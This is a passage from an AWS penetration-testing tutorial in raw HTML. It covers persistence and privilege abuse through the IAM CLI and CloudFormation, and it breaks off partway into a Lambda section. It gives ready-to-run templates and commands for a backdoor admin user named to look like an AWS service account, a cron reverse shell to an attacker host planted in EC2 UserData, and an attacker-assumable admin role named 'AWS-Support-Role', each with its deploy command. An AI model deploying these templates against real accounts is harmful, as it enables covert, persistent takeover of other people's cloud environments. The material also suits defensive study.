AdminSession&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If&lt;/strong&gt; &lt;code&gt;sts:AssumeRole&lt;/code&gt; &lt;strong&gt;succeeds, you can gain administrator privileges!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="establish-persistent-backdoor-access"&gt;&lt;a href="#establish-persistent-backdoor-access" class="header-anchor"&gt;&lt;/a&gt;Establish Persistent Backdoor Access&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-user --user-name attacker-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-access-key --user-name attacker-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam attach-user-policy --user-name attacker-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Even if the original credentials are revoked, you can still access AWS through&lt;/strong&gt; &lt;code&gt;attacker-user&lt;/code&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h4 id="summary-of-aws-cli-credential-leaks"&gt;&lt;a href="#summary-of-aws-cli-credential-leaks" class="header-anchor"&gt;&lt;/a&gt;Summary of AWS CLI Credential Leaks&#10;&lt;/h4&gt;&lt;p&gt;Everything above is pretty common, so I have not gone into too much detail. It should all be fairly easy to follow. Most of it is basic Linux knowledge, and the rest is material we covered earlier.&lt;/p&gt;&#10;&lt;h3 id="malicious-cloudformation-templates"&gt;&lt;a href="#malicious-cloudformation-templates" class="header-anchor"&gt;&lt;/a&gt;Malicious CloudFormation Templates&#10;&lt;/h3&gt;&lt;p&gt;I never covered this in the basics, so this is a good chance to take a look.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Objective&lt;/strong&gt;: Use AWS CloudFormation to deploy malicious templates that create backdoor users, modify existing IAM permissions, or even execute remote code in a victim&amp;rsquo;s AWS account.&lt;/p&gt;&#10;&lt;p&gt;AWS CloudFormation lets users &lt;strong&gt;automatically create and manage AWS resources through YAML/JSON templatesxxxx&lt;/strong&gt;, such as:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Creating IAM roles, S3 buckets, EC2 instances, and more.+ Automatically configuring VPCs, Lambda functions, DynamoDB, and so on.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;An attacker can use CloudFormation to deploy malicious AWS resources and bypass traditional permission checks!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;This is extremely dangerous, and it is also a little complicated, so here is the short version. If a role/user has full CloudFormation permissions, that is effectively the same as having permission to create/modify any AWS resource, meaning they can take control of the entire AWS environment. CloudFormation is somewhat similar to Lambda—only somewhat—in that both control AWS resources by uploading something. CloudFormation uploads templates, though, and unlike Lambda, which checks the permissions attached to its role to determine whether it can call an AWS resource, a CloudFormation template can directly call AWS resources including EC2, Lambda, IAM, S3, and so on. For example, everyone knows that calling IAM can create users/roles and grant permissions, but normally your own permissions also need to be sufficiently high. That restriction does not apply here: you only need permission to use CloudFormation itself. You can then create an IAM role/user with administrator privileges or even directly trust another AWS account. That is roughly how it works.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Below, I will build templates for several of these services. For now, I will just use templates that are already written instead of learning how to write them; I will study that later together with Lambda.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Ways to attack with malicious CloudFormation templates →&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h4 id="1-create-a-hidden-iam-backdoor-user"&gt;&lt;a href="#1-create-a-hidden-iam-backdoor-user" class="header-anchor"&gt;&lt;/a&gt;1. Create a Hidden IAM Backdoor User&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;An attacker can use CloudFormation to create a hidden IAM user and attach administrator permissions:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AWSTemplateFormatVersion: &amp;#39;2010-09-09&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Resources:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; BackdoorUser:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Type: AWS::IAM::User&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Properties:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; UserName: &amp;#34;aws-support-bot&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; BackdoorAccessKey:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Type: AWS::IAM::AccessKey&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Properties:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; UserName: !Ref BackdoorUser&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; BackdoorPolicy:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Type: AWS::IAM::Policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Properties:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; PolicyName: &amp;#34;HiddenAdminPolicy&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Users:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - !Ref BackdoorUser&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; PolicyDocument:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Version: &amp;#39;2012-10-17&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Statement:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Effect: Allow&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Action: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Resource: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Outputs:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; AccessKey:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Value: !Ref BackdoorAccessKey&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Description: &amp;#34;IAM Access Key&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; SecretKey:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Value: !GetAtt BackdoorAccessKey.SecretAccessKey&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Description: &amp;#34;IAM Secret Key&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;How to run it&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudformation create-stack --stack-name BackdoorStack --template-body file://backdoor.yaml --capabilities CAPABILITY_NAMED_IAM&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Creates the&lt;/strong&gt; &lt;code&gt;aws-support-bot&lt;/code&gt;** user (which looks like an official AWS service account).**&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Assigns access keys that the attacker can use directly with&lt;/strong&gt; &lt;code&gt;aws_access_key_id&lt;/code&gt;** to log in through the AWS CLI.**&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Attaches the administrator policy&lt;/strong&gt; &lt;code&gt;*:*&lt;/code&gt;&lt;strong&gt;, granting the highest level of access!&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0060.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;So where are the keys? They are already defined in the code above and will be stored in Output, neatly solving the problem of not being able to retrieve them when nothing is returned.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0061.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;This example alone is enough to obtain full permissions. The third template, which uses an IAM role, can also obtain full permissions, but I mainly want to discuss the one below—the second method.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h4 id="2-inject-a-reverse-shell-into-ec2-userdata"&gt;&lt;a href="#2-inject-a-reverse-shell-into-ec2-userdata" class="header-anchor"&gt;&lt;/a&gt;2. Inject a Reverse Shell into EC2 &lt;code&gt;UserData&lt;/code&gt;&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;An attacker can use CloudFormation to execute malicious commands when an EC2 instance starts—for example, obtaining a reverse shell through the&lt;/strong&gt; &lt;code&gt;UserData&lt;/code&gt;** field:**&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AWSTemplateFormatVersion: &amp;#39;2010-09-09&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Resources:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; MaliciousEC2:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Type: AWS::EC2::Instance&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Properties:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ImageId: &amp;#34;ami-12345678&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; InstanceType: &amp;#34;t2.micro&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; UserData:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Fn::Base64: |&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; #!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;*/2 * * * * root bash -i &amp;gt;&amp;amp; /dev/tcp/ATTACKER_IP/PORT 0&amp;gt;&amp;amp;1&amp;#34; &amp;gt;&amp;gt; /etc/crontab&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; systemctl restart cron&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;How to run it&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudformation create-stack --stack-name EC2Backdoor --template-body file://malicious-ec2.yaml&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;CloudFormation deploys an EC2 instance and executes the reverse shell from its&lt;/strong&gt; &lt;code&gt;UserData&lt;/code&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;After the EC2 instance starts, it automatically connects to the attacker&amp;rsquo;s server, establishing persistent remote access.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;The purpose here is to run the bash command that follows every two minutes to get a reverse shell. The main point to pay attention to is the ImageId above. It corresponds to an AMI ID, which may sound a little abstract, so I will explain it separately.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0062.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Find the relevant AMI ID. What it needs is a template, but why does it have to be a template? The idea is that it creates and runs a new EC2 instance for you. Since it does not know what kind of instance you want, it needs a template ID. You can think of it as the ID of an image. That ID is fixed: whichever one you choose determines which system it creates and starts. The screenshot above shows many systems, so just choose one of their IDs and enter it. Note that this does not modify an existing EC2 instance. Instead, it selects a system—one of the built-in systems—creates it for you with the defaults, starts it, and then runs the commands written in your template. Our command writes a cron job, so it runs when the machine starts. That is all there is to it. Honestly, it feels a bit half-baked to me, but it does demonstrate just how dangerous CloudFormation permissions can be.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AWSTemplateFormatVersion: &amp;#39;2010-09-09&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Resources:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; MaliciousEC2:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Type: AWS::EC2::Instance&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Properties:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ImageId: &amp;#34;ami-0ef0a3b4303b17ec5&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; InstanceType: &amp;#34;t2.micro&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; UserData:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Fn::Base64: |&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; #!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;*/2 * * * * root bash -i &amp;gt;&amp;amp; /dev/tcp/192.***.***.***/53 0&amp;gt;&amp;amp;1&amp;#34; &amp;gt;&amp;gt; /etc/crontab&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; systemctl restart cron&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That is my template above, filled in and ready to go.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h4 id="3-create-an-iam-role-and-allow-the-attacker-to-assumerole"&gt;&lt;a href="#3-create-an-iam-role-and-allow-the-attacker-to-assumerole" class="header-anchor"&gt;&lt;/a&gt;3. Create an IAM Role and Allow the Attacker to AssumeRole&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;An attacker can create an IAM role and allow themselves to AssumeRole, giving them long-term access to the AWS account:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AWSTemplateFormatVersion: &amp;#39;2010-09-09&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Resources:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; HiddenIAMRole:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Type: AWS::IAM::Role&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Properties:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; RoleName: &amp;#34;AWS-Support-Role&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; AssumeRolePolicyDocument:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Version: &amp;#34;2012-10-17&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Statement:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Effect: Allow&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Principal:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; AWS: &amp;#34;ATTACKER_AWS_ACCOUNT_ID&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Action: &amp;#34;sts:AssumeRole&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Policies:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - PolicyName: &amp;#34;HiddenAdminPolicy&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; PolicyDocument:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Version: &amp;#34;2012-10-17&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Statement:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Effect: Allow&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Action: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Resource: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;How to run it&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudformation create-stack --stack-name IAMBackdoor --template-body file://hidden-role.yaml&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Creates the&lt;/strong&gt; &lt;code&gt;AWS-Support-Role&lt;/code&gt;** role, which looks like an official AWS support account and is less likely to make an administrator suspicious.**&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;The attacker&amp;rsquo;s account can use&lt;/strong&gt; &lt;code&gt;sts:AssumeRole&lt;/code&gt;** at any time. Even if an administrator deletes the users in the AWS account, the attacker can still access AWS.**&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h4 id="4-inject-malicious-code-through-lambda"&gt;&lt;a href="#4-inject-malicious-code-through-lambda" class="header-anchor"&gt;&lt;/a&gt;4. Inject Malicious Code Through Lambda&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;An attacker can use CloudFormation to deploy a malicious Lambda function and execute code inside AWS:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div 